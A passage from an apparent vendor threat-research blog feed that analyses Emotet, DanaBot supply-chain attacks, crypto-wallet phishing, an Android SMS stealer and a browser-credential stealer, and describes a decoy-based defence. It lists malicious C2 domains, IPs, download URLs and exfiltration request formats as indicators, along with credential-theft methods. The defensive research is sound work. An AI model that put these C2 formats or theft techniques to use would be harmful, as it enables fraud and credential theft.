address}&mk=u&ltc={victim information} Request format for payload download: {C2 server URL}?im={MAC address}&mk=d OR {C2 server URL}?xt={MAC address}&mk=d [+] C2 infrastructure analysis We analyzed the C2 infrastructure related to the IP address of the server hosting the domain - signing-config[.]com. This domain was configured in the stage-2 scriptlet file and used to exfiltrate system information to the C2 server. IP address = 23.111.184[.]119 Leveraging passive DNS data, we identified several domains hosted on the server with the above IP address and noticed a pattern in the domain names. A lot of domains were created to spoof the names of organizations in China related to the government, education, and political think tanks. Below are a few examples summarized in a table: Domain name Target spoofed[.] Ministry of Education, China[.] Political think tanks of China[.] Beihang University in China[.] Ministry of commerce, China[.] Harbin Institute of Technology[.] National University of Defence and Technology In addition to this, we also identified several newly registered domains on this server which are used to spoof cryptocurrency projects popularly used in China such as the Deeper network. The domain, deepersbot[.]network was registered by the threat actor to spoof the legitimate domain, deeper[.]network. Figure 9: Phishing website The fake domain asks the users to validate their wallet on the main page and presents them an option to choose from a wide variety of popularly used crypto currency wallets. Figure 10: Wallet options provided on the phishing website Once the user chooses the wallet type, they will be redirected to a page which prompts them to share their private key. Figure 11: Page asking for user Private key information It uses one of the following 3 ways: Phrase: A 12 or 24 word recovery phrase which can be used to restore the private key and steal the funds. JSON file: a password-protected JSON file which stores the encrypted private key Private key: The private key itself The table below summarizes the list of domains registered which use social engineering to steal the private keys of crypto currency wallets of the users: Date registered Domain name 13th Nov 2021 dappconnectmainbott[.]org 13th Nov 2021 deepersbot[.]network 5th Nov 2021 www.walletauthenticatorbot[.]net 2nd Nov 2021 dapp-connect[.]org Zscaler Cloud Sandbox report Figure 12: Zscaler Cloud Sandbox detection Indicators of compromise [+] Hashes MD5 Description 89ec1f32e1bbf794c41fa5f5bc6869c0 Document [+] C2 Domains signing-config[.]com svcstat[.]com relay-server[.]com [+] C2 URLs Component URL Scriptlet file http://signing-config[.]com/cta/key.php .NET backdoor http://svcstat[.]com/policy/v2.php?im= http://relay-server[.]com/mint/mvv.php?xt= [+] Files system artifacts # Dropped binaries %LOCALAPPDATA%\PeerDistRepub\qq3104.exe %LOCALAPPDATA%\PeerDistRepub\qq2688.exe %TEMP%\p %TEMP%\b # Scriptlet file %TEMP%\googleofficechk.sct [+] Registry artifacts Registry Key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\X Registry Values: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\X\\s HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\X\\x Thu, 16 Dec 2021 12:47:57 -0800 Sahil Antil Return of Emotet malware Key Points Emotet is one of the most dangerous, prolific, and long-lasting malware Trojans that has ever existed. In January 2021, a law enforcement action disrupted the Emotet malware and its infrastructure. It also led to the arrest of some of the threat actors involved with the malware. After almost a year-long hiatus, Emotet has returned to the threat landscape as of Nov 14, 2021. Distribution of the malware was via the TrickBot malware and email campaigns. After an almost year-long hiatus, the prolific malware Emotet has returned to the threat landscape. An early report indicated it returned on Sunday November 14, 2021 and it was being distributed via the TrickBot botnet. A later report indicated that it was also being distributed via email campaigns. The Emotet malware was first detected back in 2014 and it focused on banking fraud. In recent years, Emotet pivoted and it became an initial access broker providing victim access for several ransomware groups. In January 2021, law enforcement disrupted the Emotet malware and its infrastructure. It also arrested some of the threat actors behind it. This led to the disappearance of the malware for almost a year. Some security researchers thought it was gone for good... While the Threatlabz team's technical analysis for the payloads involved is ongoing, the new version of the Emotet malware is similar to its past variants in many aspects. In our quick analysis, we've observed some changes in the command and control data and encryption used. It also appears to be using HTTPS instead of plain HTTP for command and control communication. It looks like most of the functionality is the same as earlier variants, and it will likely pick up where it left off, providing initial access to the ransomware operators. Spam Campaigns As we can see from the below screenshot of spam email, Emotet starts by leveraging a 'reply chain' email strategy in their spam campaigns. It has been using MS word document “.docm”, MS excel “.xlsm” and password protected “.zip” files as attachments. Image 1: Reply chain email screenshots Cloud Sandbox Detection Image 2: Zscaler Cloud sandbox detection MITRE ATT&CK TTP Mapping Tactic Technique T1010 Application Window Discovery T1012 Query Registry T1018 Remote System Discovery T1055 Process Injection T1036 Masquerading T1057 Process Discovery T1082 System Information Discovery T1055 Process Injection T1083 File and Directory Discovery T1518 Security Software Discovery T1547 LSASS Driver T1218 Rundll32 T1562 Disable or Modify Tools T1564 Hidden Files and Directories Indicators of Compromise IOC Notes c7574aac7583a5bdc446f813b8e347a768a9f4af858404371eae82ad2d136a01 Reference sample 81.0.236[.]93:443 94.177.248[.]64:443 66.42.55[.]5:7080 103.8.26[.]103:8080 185.184.25[.]237:8080 45.76.176[.]10:8080 188.93.125[.]116:8080 103.8.26[.]102:8080 178.79.147[.]66:8080 58.227.42[.]236:80 45.118.135[.]203:7080 103.75.201[.]2:443 195.154.133[.]20:443 45.142.114[.]231:8080 212.237.5[.]209:443 207.38.84[.]195:8080 104.251.214[.]46:8080 138.185.72[.]26:8080 51.68.175[.]8:8080 210.57.217[.]132:8080 51.178.61[.]60:443 168.197.250[.]14:80 45.79.33[.]48:8080 196.44.98[.]190:8080 177.72.80[.]14:7080 51.210.242[.]234:8080 185.148.169[.]10:8080 142.4.219[.]173:8080 78.47.204[.]80:443 78.46.73[.]125:443 37.44.244[.]177:8080 37.59.209[.]141:8080 191.252.103[.]16:80 54.38.242[.]185:443 85.214.67[.]203:8080 54.37.228[.]122:443 207.148.81[.]119:8080 195.77.239[.]39:8080 66.42.57[.]149:443 195.154.146[.]35:443 Configured C2s -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9Xoov pqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q== -----END PUBLIC KEY----- -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuw TyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg== -----END PUBLIC KEY----- ECDH & ECDSA Key -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2DWT12OLUMXfzeFp+bE2AJubVDsW NqJdRC6yODDYRzYuuNL0i2rI2Ex6RUQaBvqPOL7a+wCWnIQszh42gCRQlg== -----END PUBLIC KEY----- -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE9C8agzYaJ1GMJPLKqOyFrlJZUXVI lAZwAnOq6JrEKHtWCQ+8CHuAIXqmKH6WRbnDw1wmdM/YvqKFH36nqC2VNA== -----END PUBLIC KEY----- ECDH & ECDSA Key 015a96c0567c86af8c15b3fe4e19098ae9d0ea583e6bc0bb71c344fc993a26cf Spam attachment https://evgeniys[.]ru/sap-logs/D6/ http://crownadvertising[.]ca/wp-includes/OxiAACCoic/ https://cars-taxonomy.mywebartist[.]eu/-/BPCahsAFjwF/[.]br/blog_old/wp-admin/luoT/ https://yoho[.]love/wp-content/e4laFBDXIvYT6O/ https://www.168801[.]xyz/wp-content/6J3CV4meLxvZP/ https://www.pasionportufuturo[.]pe/wp-content/XUBS/ Malicious URLs used in spam campaign, embedded inside “.docm” or “.xlsm” files Tue, 16 Nov 2021 17:40:39 -0800 Deepen Desai Deception Engineering Introduction One skill that the Zscaler Deception team has become really good at is analyzing adversary tactics, techniques, and toolsets and hypothesizing how we could disrupt the adversary playbook with deception. What we want to talk about today is a concept we like to internally call “Deception Engineering”. It’s a wordplay on Detection Engineering. In addition to focusing on writing rules to detect a specific type of technique or threat, security teams can also focus on how to deceive a technique or threat. We see it as an important component of Detection Engineering. What is Deception Engineering? Deception Engineering is the process of building, testing, and implementing deception-based defenses within the enterprise to disrupt adversary operations and playbooks. Why Deception Engineering Deception engineering broadens the scope of detection engineering to FORCE adversary behavior in addition to detecting threat behavior. The fundamental idea here is for defenders to use their knowledge and control of the environment they are defending and use it to their advantage to guide adversary choices within their environment. One of the main advantages of the deception approach is its simplicity. Thinking about deception use cases is simple because the underlying concept of “decoys” or “fakes” is also extremely simple. Here are a couple of examples: Instead of writing password guessing detection rules that rely on thresholds and time-based analysis, simply set up a decoy account and monitor it for failed attempts. Instead of trying to detect SMB port scanning by writing rules on port access and baselines that are prone to false positives, set up a decoy system with SMB open and monitor it for connections. If defenders are able to control the motivation of the adversary and control the choices they make in an environment, the resulting telemetry is: High Fidelity - the event can occur only under a malicious circumstance. Low False Positive - the event is highly unlikely to be carried out by regular software or user behavior. Controlled False Negatives - events that do not interact with deception are not captured and ergo cannot be missed The Deception Engineering Process The deception engineering process is actually quite simple to adopt. Broadly, here's what it looks like: Pick a business-aligned use case or a tactic / technique Describe the attack story by breaking down the steps of the attack Analyse the attack story for opportunities for implementing deception Understand the telemetry you can get by implementing the deception opportunity Implement the opportunities that work best in production We’ve described the process in detail below. Steps Description Tool / Technique / Tactic / Use Case The description of the tool/technique/tactic you wish to deception engineer. For broader use cases, like “Ransomware Detection”, you may need to iterate over this process multiple times. Attack Tools List all attack tools that can execute a technique or tactic Attack Story Describe the steps of the attack as if executed manually Deception Opportunities Hypothesize Deception Opportunities against attack steps Realism Requirements Identify parameters that must be configured to ensure your deception opportunities mimic real implementations OpSec Safety Considerations Call out any opsec safety considerations as not all deception opportunities are opsec safe. Production Readiness Choose techniques viable in production with due consideration to operational challenges Telemetry What telemetry can you gather if an adversary acts on deception Detection Order** Is this a first or second-order detection? Test Results Test cases and their efficacy. **Detection Order First-order Detection- When an adversary interacts with a deceptive component that directly generates alert telemetry. Second-order Detection - When an adversary acts on deceptive information that leads them to a deceptive component that generates telemetry. Our approach is to create a specification that addresses each of these steps before we take the step of rolling out defenses to production. Deception Engineering Group Policy Preferences Saved Passwords Let’s apply the deception engineering process with an example. For brevity, we have excluded a few steps in the process, but each step is an important consideration and must be documented when planning your deception approach. Review the MITRE ATT&CK mapped technique details here for Group Policy Preferences Saved Password (GPP) Let’s begin! About the attack The GPP Saved Passwords issue has been around for close to a decade. The feature allowed Active Directory administrators to manage local administrator passwords via Group Policy. However, the policy configuration XML file that maintained the details of the policy, stored the password to the local administrator account encrypted in the file. With a decryption key made available, any domain user regardless of privilege could simply search for the file, decrypt the password and gain administrator access to all the machines to which the policy applied. We know for a fact now, that the Conti ransomware group had GPP password extraction as part of their technique arsenal as revealed in their playbook. Here's a screenshot from the playbook. Many organizations have already addressed this problem. But from a deception engineering lens, this is a missed detection opportunity. If a Conti Ransomware affiliate was to target an organization, can we deceive them when they execute this tactic? Can we fool them into believing that they have access to legitimate credentials via GPP? Can we divert their attention as they execute their playbook and capture telemetry about their presence? And what telemetry can we give the defender so that they are able to act quickly to stop the threat? Let’s find out. STEP 1 - Layout the framework We want to deception engineer a specific technique, in this case GPP, so we have built out a minimalist representation of specific steps we need to address for implementing our solution. STEP 2 - Explore tools used to exploit GPP The next step in this process is to identify tools used to exploit this technique. The idea is to study and document how these tools works under the hood so we can abstract the attack flow to build an attack story. This is especially important if we want to build tool-agnostic deception use cases. Here we have included two tools, get-gpppassword.ps1 and STEP 3 - Describe the attack flow Once we have understood how these tools work, we should be able to extract the attack story. Take a look at how we have abstracted the attack. Essentially: Figure out how to search Groups.XML files and extract the credentials from it on a Domain Controller (DC) Figure out where the discovered password is applicable Test if you actually log in with the credentials. STEP 4 - Identify deception opportunities Now that you have the story in place, add connections to possible deception opportunities. This step requires some creative thinking. Essentially you can: Create a decoy OU Join decoy machines to AD and move them to this decoy OU Apply a GPP GPO to this OU STEP 5 - Document possible telemetry you can gather for detection Now, what telemetry can you actually get if you were to implement these deception opportunities? Because of the way Group Policy works, it may be very difficult to reliably distinguish between malicious and regular activity when it comes to access to the decoy Groups.XML. But it’s still valuable because we can use this setup as a Lure. Think of lures as pointers that tell the adversary “Hey here’s some interesting credentials and where you can apply it. Why don’t you go try a login?” This results in what we call a “second-order detection”. Our deceptive setup doesn’t generate telemetry unless the adversary acts on the information we have planted in AD. So the idea is if you see a login attempt against decoy systems you have setup using the credentials you have configured in the Groups.XML file, there’s only one way that could have happened. Someone is exploiting GPP. STEP 6 - Test your deception setup The last step of this process is to test your deception setup. Use the tools you documented in the previous steps. Does your decoy setup show up in the output of these tools? If you compare and contrast it with a “real” setup, is it indistinguishable? Are there any considerations that might tamper with your setup in production? Closing Notes Deception Engineering empowers defenders to control adversary choices in their network. It provides defenders with options, where the existing approaches might be overwhelming, complex, and prone to false positives, for an alternative that’s easier to understand, lower on false positives, and really fun to set up and implement. Do you want to brainstorm a deception engineering use case? Write to me! Tue, 09 Nov 2021 23:03:40 -0800 Sudarshan Pisupati Spike in DanaBot Malware Activity Key Points Two large software supply chain attacks distributed the DanaBot malware. DanaBot is a malware-as-a-service platform discovered in 2018 that focuses on credential theft and banking fraud. DanaBot’s popularity has waned in recent years, but these campaigns may signal a return of the malware and its affiliates to the threat landscape. Introduction The DanaBot malware had a spike in new activity recently, including being distributed via two large software supply chain attacks and being used in a Distributed Denial of Service (DDoS) attack on a Russian language electronics forum. DanaBot, first discovered by Proofpoint in May 2018, is a malware-as-a-service platform where threat actors, known as “affiliates” and identified by “affiliate IDs”, purchase access to the platform from another threat actor who develops the malware and command and control (C2) panel, sets up and maintains the shared C2 infrastructure, and provides sales and customer support. Affiliates then distribute and use the malware as they see fit--mostly to steal credentials and commit banking fraud. While it was a prominent banking malware for a number of years and despite a new major update being spotted at the end of 2020 (as documented by Proofpoint, ESET, and LEXFO), DanaBot has been relatively quiet in the recent threat landscape. Large Software Supply Chain Attack (October 22, 2021) As reported by the Cybersecurity and Infrastructure Security Agency (CISA), GitHub, the developer, and others the NPM JavaScript package for “UAParser.js” was compromised on Friday, October 22, 2021 and used to distribute a cryptocurrency miner and DanaBot. UAParser.js is a “JavaScript library to detect Browser, Engine, OS, CPU, and Device type/model from User-Agent data with relatively small footprint.” Based on its NPM stats, it has 7 million weekly downloads. The DanaBot malware was downloaded from: hxxps://citationsherbe\.at/sdd.dll The packed/crypted loader component has a SHA-256 hash of: 2a3acdcd76575762b18c18c644a745125f55ce121f742d2aad962521bc7f25fd The loader downloads a main component which has a SHA-256 of: 77ff83cc49d6c1b71c474a17eeaefad0f0a71df0a938190bf9a9a7e22531c292 The main component was configured with the following configuration: Figure 1: DanaBot malware configuration used in supply chain attack The malware was also configured with a backup TOR C2: bjij7tqwaipwbeig5ubq4xjb6fy7s3lknhkjojo4vdngmqm6namdczad\.onion As highlighted in Figure 1 above, the affiliate ID for this sample was 40. Based on Zscaler ThreatLabz tracking, this is a new affiliate to the DanaBot ecosystem. At the time of the incident, the affiliate had only configured the malware’s credential stealing component to be active--the person-in-the-browser and webinject bank fraud component was not activated. While the post-infection intentions of the threat actor aren’t known, given the focus on credentials, the size of the attack, and the crimeware landscape being dominated by initial access brokers selling access to ransomware affiliates, this outcome can’t be ruled out. Second Large Software Supply Chain Attack (November 4, 2021) As reported by Twitter, GitHub, and others, another NPM package was compromised and used to distribute DanaBot. The package is called “COA” and it “is a parser for command line options that aim to get maximum profit from formalization your program API”. Based on NPM stats, it had almost 9 million weekly downloads. The attack took place on Thursday, November 4, 2021 and it was by the same DanaBot affiliate ID 40 threat actor as in the October 22, 2021 attack on “UAParser.js”. The DanaBot loader component used in this campaign was distributed from: hxxps://pastorcryptograph\.at/3/sdd.dll It has a SHA-256 hash of: 26451f7f6fe297adf6738295b1dcc70f7678434ef21d8b6aad5ec00beb8a72cf and was used to download a DanaBot main component with the SHA-256 hash of: e7c9951f26973c3915ffadced059e629390c2bb55b247e2a1a95effbd7d29204 Similar to the first incident, the threat actor had only configured the malware’s credential stealing component to be active. DDoS Attack on Russian Language Electronics Forum DanaBot affiliate ID 4 was also active last week. While this affiliate isn’t new, there hasn’t been a change to their component configurations for some time. On Wednesday October 20, 2021, the affiliate configured its DanaBot victims to download and execute a new executable with a SHA-256 hash of: 8b64b8bfd9e36cc40c273deccd4301a6c2ab44df03b976530c1bc517d7220bce The downloaded executable is written in the Delphi programming language and its only functionality is to implement a bare-bones HTTP-based DDoS attack on a hardcoded IP address and host. The template used to generate the HTTP requests is shown in Figure 2: Figure 2: HTTP request template used in DDoS attack As highlighted in the “Host” header in Figure 2 above, the attack targets a Russian language forum focused on the discussion of electronics. The “User-Agent” header, hardcoded target, and simple functionality seems to imply that the payload was designed to settle a personal grudge instead of indicating a larger change in the threat actor’s tactics, techniques, and procedures (TTPs). Conclusion While the popularity and activity of DanaBot has declined in recent years, the UAParser.js and COA software supply chain attacks shows that the malware is still an active threat. It is currently unclear whether these attacks were a one-off opportunity for a threat actor or whether this and other activity signals the return of DanaBot and its affiliates. Cloud Sandbox Detection MITRE ATT&CK TTP Mapping Tactic Technique T1586 Compromise Accounts T1195 Supply Chain Compromise T1204 User Execution T1555 Credentials from Password Stores T1003 OS Credential Dumping T1539 Steal Web Session Cookie T1115 Clipboard Data T1573 Encrypted Channel T1008 Fallback Channels T1041 Exfiltration Over C2 Channel Indicators of Compromise IOC Notes hxxps://citationsherbe\.at/sdd.dll October 22, 2021 affiliate ID 40 distribution URL 2a3acdcd76575762b18c18c644a745125f55ce121f742d2aad962521bc7f25fd October 22, 2021 affiliate ID 40 loader component 77ff83cc49d6c1b71c474a17eeaefad0f0a71df0a938190bf9a9a7e22531c292 October 22, 2021 affiliate ID 40 main component October 22, 2021 affiliate ID 40 configured C2 October 22, 2021 affiliate ID 40 configured C2 October 22, 2021 affiliate ID 40 configured C2 October 22, 2021 affiliate ID 40 configured C2 bjij7tqwaipwbeig5ubq4xjb6fy7s3lknhkjojo4vdngmqm6namdczad\.onion October 22, 2021 affiliate ID 40 configured backup C2 hxxps://pastorcryptograph\.at/3/sdd.dll November 4, 2021 affiliate ID 40 distribution URL 26451f7f6fe297adf6738295b1dcc70f7678434ef21d8b6aad5ec00beb8a72cf November 4, 2021 affiliate ID 40 loader component e7c9951f26973c3915ffadced059e629390c2bb55b247e2a1a95effbd7d29204 November 4, 2021 affiliate ID 40 main component November 4, 2021 affiliate ID 40 configured C2 November 4, 2021 affiliate ID 40 configured C2 November 4, 2021 affiliate ID 40 configured C2 November 4, 2021 affiliate ID 40 configured C2 f4d12a885f3f53e63ac1a34cc563db0efb6d2d1d570317f7c63f0e6b5bf260b2 Recent Affiliate ID 4 loader component ad0ccba36cef1de383182f866478abcd8b91f8e060d03e170987431974dc861e Recent Affiliate ID 4 main component Affiliate ID 4 configured C2 Affiliate ID 4 configured C2 Affiliate ID 4 configured C2 gcwr4vcf72vpcrgevcziwb7axooa3n47l57dsiwxvzvcdlt7exsvk5yd.onion Affiliate ID 4 configured backup C2 Fri, 05 Nov 2021 06:52:08 -0700 Dennis Schwarz Encrypted Attacks Rise 314% The Zscaler Zero Trust Exchange is built on the world’s largest security cloud, which brokers over 190 billion daily transactions (that’s roughly 50x the number of daily Google searches), and extracts over 300 trillion signals each day. The ThreatLabz research team analyzes this massive data set to monitor threats, improve security controls, and to publish in-depth research on the evolving threat landscape. Today, we released what may be our most-anticipated annual study, The State of Encrypted Attacks. In this report, ThreatLabz looks at the use of encrypted traffic (HTTPS, SSL, TLS) -- which is often considered to be safe and trusted -- to examine attacks and security risks. The report found that more than 80% of attacks now use encrypted channels, up from 57% in last year’s study. This should serve as a wake-up call: organizations must inspect their encrypted traffic just like any other traffic. This is problematic as it’s resource-intensive to decrypt, inspect, and re-encrypt traffic with legacy hardware-based security tools. This means shelling out more money for more devices, plus the added side-effect of slowing traffic to a crawl. But, by failing to do so, they’re giving malicious actors an easy entry into their environments. Of course, there’s another option: using a cloud-native proxy architecture such as Zscaler allows for scalable inspection of all encrypted traffic without the performance degradation or added expense and complexity of legacy hardware. Key Findings In January through September 2021, threats over encrypted channels rose 314% when compared to the same period the previous year, which itself was a 260% rise from 2019. Encryption is not a deterrent to attackers, and in fact offers them multiple advantages: encrypted traffic is less likely to be inspected by security teams, and without SSL inspection, malicious files are much harder to fingerprint, allowing malware to slip by undetected. Some top trends: Tech is a huge target: Attacks on tech companies increased by 23 times(!) year-over-year; attacks on retail and wholesale companies increased by 841 percent. Critical services saw some relief: Healthcare was the biggest target in 2020, but threats have fallen off precipitously, along with attacks against government organizations. In the wake of big attacks, such as the one against Colonial Pipeline, there was increased attention from law enforcement, which made these industries less attractive as targets. The UK and U.S. are the top targets of encrypted attacks: India, Australia, and France round out the top five. Tactics are changing: Malware is up 212 percent and phishing is up 90 percent, whereas cryptojacking is down 20 percent. Attack trends are changing with ransomware gaining profitability and therefore popularity. The State of Encrypted Attacks goes into great detail into all of these statistics and more -- including top attack types and threat families, most targeted applications, industry data, and in-depth case studies. How to protect yourself Zero trust strategies and architectures -- in which you trust nobody and inspect and authenticate everything -- are the most effective means of protecting your organization from encrypted attacks, as well as other advanced cyberthreats. Zscaler’s tenets of zero trust include: Preventing compromise by using cloud-native proxy architecture to inspect all traffic in-line and at scale, enforcing consistent security policies. Preventing lateral movement by connecting users directly to applications (rather than the network) to reduce the attack surface, and by containing threats by using deception & workload segmentation. Preventing data theft by inspecting all internet-bound traffic including encrypted channels to prevent data loss. These tenets align directly to the attack chain, which typically involves three distinct stages. Attacks start with an initial compromise of an endpoint or asset exposed to the internet. Once inside, the attacker undergoes lateral propagation, performing reconnaissance and establishing a network foothold. Finally, attackers take action to achieve their objectives, which often involves data exfiltration. Therefore, your defenses should involve controls for each of those stages: Security controls to prevent compromise: Audit your attack surface, stay up-to-date with security patching, and fix any misconfigurations that may exist. Move any internet-facing applications behind a cloud proxy that brokers the connection and eliminates vulnerable backdoors. Inspect all of your traffic! Security controls to prevent lateral movement: Use microsegmentation to reduce access to data and applications, even for authenticated users. With Zscaler, the network is irrelevant to application access: you simply connect users directly to the application needed without risking any unnecessary exposure. Use dynamic defense strategies such as deception, which uses decoys to lure attackers and alert security teams of lateral movement or compromised users. Security controls to prevent data theft: Disrupt command & control callback activity as well as data exfiltration attempts by inspecting all internet bound traffic with full SSL inspection to apply consistent security and data loss prevention policies. Learn more -- download your copy of the report today! Thu, 28 Oct 2021 07:44:12 -0700 Deepen Desai How a Phishing Campaign Targeting Indian Banking Users is Distributing an SMS Stealer Scammers are always coming up with new, more sophisticated social engineering techniques to collect user credentials for financial benefit. However, when it comes to banking websites, capturing login credentials via a phishing campaign often isn’t enough for cybercriminals. Due to the implementation of two-factor authentication by most banking sites, which includes receiving a one-time password on a registered mobile number, transactions have become more secure. However, in parallel, attackers have also found ways to bypass this two-factor authentication implementation by stealing the user’s phone messages. Zscaler’s ThreatLabz researchers recently discovered a sophisticated phishing campaign targeting customers of top Indian banks like State Bank of India, Punjab National Bank, Union Bank, HDFC, and Canara. The well-designed phishing pages are difficult to distinguish from legitimate sites and aim to collect all the customer’s banking credentials including account holder name, registered mobile number, account number/card number, ATM pin, IFSC code, and expiry date. The end goal of capturing this information is to install a malicious SMS stealer that monitors the messages on the infected mobile/tablet, and communicates with a C2 server whenever the customer receives an SMS. Analysis of a phishing campaign: The homepage depicts a customer support form for submitting queries. The user is asked to enter their name, phone number, and reason for the failed transaction as shown in the figure below. Fig 1. Phishing Home Page In the next step, the user is asked to enter an account number, which can be used to log in to an online banking account. Fig 2. Refund Mode Confirmation The next step prompts the user to enter an account number (probably to confirm the correct account number) and IFSC code field and to check the bank account branch. Fig 3. Prompt for Account No. & IFSC code After that, it is required to enter the CIF No. and the card expiry date. The customer identification file, or CIF number in general, is an electronic, 11 digit number that contains all the personal information of the customers. Fig 4. Prompt for CIF number and Expiry Date After that, the phishing page asks users to enter their ATM PIN as shown in the screenshot below. Fig 5. Prompt for ATM Pin In the last step, an app gets downloaded on the user’s device and a message is displayed for the user to wait until the download starts. Fig 6. Malicious APK download Here are a few more campaigns with the same phishing techniques targeting other Indian bank users. Fig 7. A phishing campaign targeting Punjab National Bank users. Fig 8. A phishing campaign targeting BHIM UPI users Analysis of Android SMS Stealer: The downloaded app is a basic SMS stealer which portrays itself as a banking support app using the name SBI Quick Support and has the official logo of the targeted bank. Fig 9. Malware portraying itself as SBI Quick Support App Once installed, the app asks for permission to send/view messages from the phone as shown in the figure below. Fig 10. Screenshot and code snippet for SMS permission The malware also achieves persistence in the infected device by setting RECEIVE_BOOT_COMPLETED permission so that it can start itself after the device reboots. Fig 11. Code snippet for Autostart configuration If any of the permissions get denied, the malware displays an alert dialog to manipulate the user into granting permission. Fig 12. Code snippet for displaying alert dialog Lastly after all the permissions are granted, the malware displays a fake form for submitting a complaint number. Meanwhile, in the background, it monitors all the incoming messages. Fig 13. Screenshot and code snippet for displaying fake form As soon as any message is received on the victim’s phone, the malware performs exfiltration of the received message with some other device information to the C2 server stored statically in the code via a POST request. Fig 14. C2 URL stored in a variable Fig 15. Cloud Sandbox report for SMS Stealer Conclusion: Android powers hundreds of millions of mobile devices around the world. It's the largest installed base of any mobile platform and growing fast, and attackers are taking advantage of this by targeting Android users. Due to Android flexibility and ease of use, there has been an increase in the use of mobile banking applications, and users are accidentally installing malicious apps such as the stealer mentioned above. Some best practices to protect Android users are: Only install apps from official stores, such as Google Play. Never click on unknown links received through ads, SMS messages, emails, or from any other messaging applications. Always keep the "Unknown Sources" option disabled on your Android device. This option will prevent applications from installing from unknown sources. Package Names: sbi_complaint.apk com.example.complaintregisters PNB%20Support.apk com.example.myapplication union.apk com.complaintregister.bhim UPI_Complaint.apk com.pnb.complaintregister pnb_complaint.apk com.example.myapplication HDFC_Complaint.apk com.example.complaintregister canara.apk IOCs: Domains: complaintregisterqueries[.]com onlineregisterquery[.]com customersupportspoint[.]com complaintsqueryregister[.]com complaintregisters[.]com furnitureshops[.]org MD5 Hashes: 50ba955ff89e6d4ea873ea35459cd696 a23bc4ac3df7e2bf60e584fdb31d6071 ed7d6c10b38b3546361ef12f6a0fd218 d56d89a899617a8deb9a176a1eb84bdb 4a2cea20ee062f0cb4c8c509371f05e8 7170c67c15c9fc21b34a43168818c00a 3baccf75f4ad66a7224f1d36387e8df1 3ac0ea94f849a51aa50d0432767a753f 8ba928045fe485558bb9fe96cdd2e7ec 99f8375f0c2b99611472da12968660ba ce9fada00b581babd4b439665797a280 B741ea005d5b720b4f69d1589e1059db MITRE ATT&CK Techniques: Actions Tag ID Access Stored Application Data T1409 Capture SMS Messages T1412 System Network Connections Discovery T1421 System Information Discovery T1426 Application Layer Protocol T1071 Carrier Billing Fraud T1448 Fri, 29 Oct 2021 08:00:02 -0700 Mitesh Wani New MultiloginBot Phishing Campaign Multilogin is an application designed to make it easier to log into multiple accounts on a single website or platform simultaneously. Recently, Zscaler ThreatLabz has come across a live phishing campaign that is targeting genuine Multilogin users by tricking the users into downloading a malicious installer. The installer is hosted on newly registered websites "multilogin-uk[.]com" and "multilogin-us[.]com" (registered on September 2nd 2021) which are a lookalikes of the legitimate website "multilogin[.]com". The threat actor has taken great care to match every detail, starting from website layout to the url pattern used for downloading the application, in order to impersonate as the legitimate website. The malicious installer installs a stealer (named as multilogin), written in Dotnet, on the compromised machine. This stealer gathers sensitive information from the victim's system and sends it to its telegrambot in a zip format. This blog aims to describe the behavior of the installer and the main functionalities of the stealer. Attack Flow: The below snapshot shows the delivery mechanism and attack chain of the malware. Technical Analysis As a first step, the threat actors have cloned the legitimate website, giving it a similar domain name, in order to trick the user into visiting the phishing website and downloading the malicious installer hosted on it. The below snapshot shows the difference between the fake and legitimate sites. . For the purposes of analysis, we will look at the Installer with MD5 hash: 9986d6836e6b4456fd38e7d5b036c727, which is an Inno package unsigned binary. The below snapshot shows the comparison between the installer downloaded from the fake site and the installer from the legitimate site. Like the normal installer, the malicious installer creates a full environment, starting with registry changes, then creating required folders (explained later), for the effective execution of the malware. In order to achieve persistence on the compromised machine, the malicious installer creates a shortcut file in the All Users startup folder as can be seen in the below snapshot. It is to be noted that the installer drops the malware at the user’s selected installation path at the time of installing the application. Required folders: The installer creates a folder named “Item” and the following sub-folders, which shall be checked and used by the malware later: AutoFills: Consists of text files containing browser’s autofill information. Cookies: Consists of text files containing browser’s cookies information. IP: Consists of a text file containing IP address information. Passwords: Consists of text files containing user's login information. After successful installation, the final GUI (Graphical User Interface) comes up with an enabled check box to launch the application named as multilogin (hereinafter referred to as malware). After clicking the “Finish” button, the malware comes into play. Now, let's get into the code to understand the functionality of the malware. Information Gathering Before starting stealing activities, the malware checks the required folders in the system and then executes its functions to collect information from the compromised machine, explained below: 1.) IP Address Information: Firstly, the malware collects the IP address by making a web request to “”and stores the collected information at “<Installation_Path>\Item\IPAddress\IPAddress.txt”, in the format <IP_Address>:<Country_Name>, as explained in the below snippet. It is to be noted that the above code also acts as a checkpoint for an internet connection--that is, if the malware doesn’t get a response, then the malware crashes. 2.) User’s Login data: The steps to gather the login data of the user are as follows: Creates a copy of existing login data file to the destination file that is named as ‘C:\LoginData0’ in this case. The below snippet shows the detailed steps. The below snippet shows how the SQL query is being executed against the newly created i.e C:\LoginData0 file to carve out the login information. And then the information is decrypted and stored in a new file placed at <Installation_Path>\Item\Password\<Browser_name>Profile_<Integer>_PASSWORD.txt>. The login data contains passwords in an encrypted format, so the malware first gets the key, which shall be used further to decrypt the encrypted password. The below snapshots explain the same. The next step is to get the encrypted data (password), which shall be passed to the next function named “Decrypt” explained in the next step. After getting the key and the encrypted data, the malware will decrypt them by using the below code. The below snippet shows the format in which malware will store the user login data information. 3.) Autofill and Cookies: The malware uses a similar mechanism to the one explained above to collect autofill and cookies information and stores the respective data in a file placed at <Installation_Path>\Item\Autofill\<Browser_name>Profile_<Integer>_AUTOFILL.txt> and <Installation_Path>\Item\cookies\<Browser_name>Profile_<Integer>_cookies.txt>, respectively. The below table depicts the targeted file and the sql queries used to extract the information. Type Targeted file Newly Created file Path Sql Query Decryption of bytes? Autofills Webdata C:\Webdata0 Select name, value FROM autofills False Cookies 